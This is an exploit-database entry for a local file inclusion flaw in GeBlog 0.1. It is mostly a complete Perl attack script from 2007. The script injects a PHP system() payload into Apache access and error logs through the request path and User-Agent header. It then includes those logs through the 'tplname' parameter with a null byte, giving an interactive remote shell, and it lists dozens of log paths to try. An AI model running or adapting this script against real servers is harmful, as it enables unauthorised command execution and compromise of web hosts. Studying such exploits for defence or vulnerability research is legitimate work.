GeBlog 0.1 Local File Inclusion Exploit

vendor:

GeBlog

by:

GolD_M

5.5

CVSS

MEDIUM

Local File Inclusion

CWE

Product Name: GeBlog

Affected Version From: 0.1

Affected Version To: 0.1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

GeBlog 0.1 Local File Inclusion Exploit

This script exploits a Local File Inclusion vulnerability in GeBlog version 0.1. The vulnerability is present in the code where it includes a file based on the value of the 'tplname' parameter. By manipulating this parameter, an attacker can include arbitrary files from the server.

Mitigation:

To mitigate this vulnerability, it is recommended to update GeBlog to the latest version, which should include a fix for this issue.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# GeBlog 0.1(GLOBALS[tplname])Local File Inclusion Exploit
# D.Script: http://sourceforge.net/projects/geblog/
# V.Code: include "tpl/".$GLOBALS['tplname']."/html.func.inc.php";
# Discovered & Coded by : GolD_M = [Mahmood_ali]
# Contact:HackEr_@w.Cn
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# Thanx : Alk()mand()z & Q8Trojan

use IO::Socket;
use LWP::Simple;

#ripped

@apache=(
"../../../../../var/log/httpd/access_log",
"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../.. /../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);

if (@ARGV < 3) {
print "
===============================================================
|  GeBlog 0.1(GLOBALS[tplname])Local File Inclusion Exploit   |
|      Gold.pl [Victim] /tpl/Default/ (apachepath)            |
|  Ex: Gold.pl [Victim] /tpl/Default/ ../logs/error.log       |
---------------------------------------------------------------
| Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group  |
|            Thanx : Alk()mand()z & Q8Trojan                  |
===============================================================
";
exit();
}

$host=$ARGV[0];
$path=$ARGV[1];
$apachepath=$ARGV[2];

print "Code is injecting in logfiles...\n";
$CODE="<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Connection failed.\n\n";
print $socket "GET ".$path.$CODE." HTTP/1.1\r\n";
print $socket "user-Agent: ".$CODE."\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Connection: close\r\n\r\n";
close($socket);
print "Write END to exit!\n";
print "If not working try another apache path\n\n";

print "[shell] ";$cmd = <STDIN>;

while($cmd !~ "END") {
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Connection failed.\n\n";

#now include parameter

print $socket "GET ".$path."index.php?GLOBALS[tplname]=".$apache[$apachepath]."%00&cmd=$cmd HTTP/1.1\r\n";
print $socket "Host: ".$host."\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";

while ($raspuns = <$socket>)
{

print $raspuns;
}

print "[shell] ";
$cmd = <STDIN>;
}

# milw0rm.com [2007-03-20]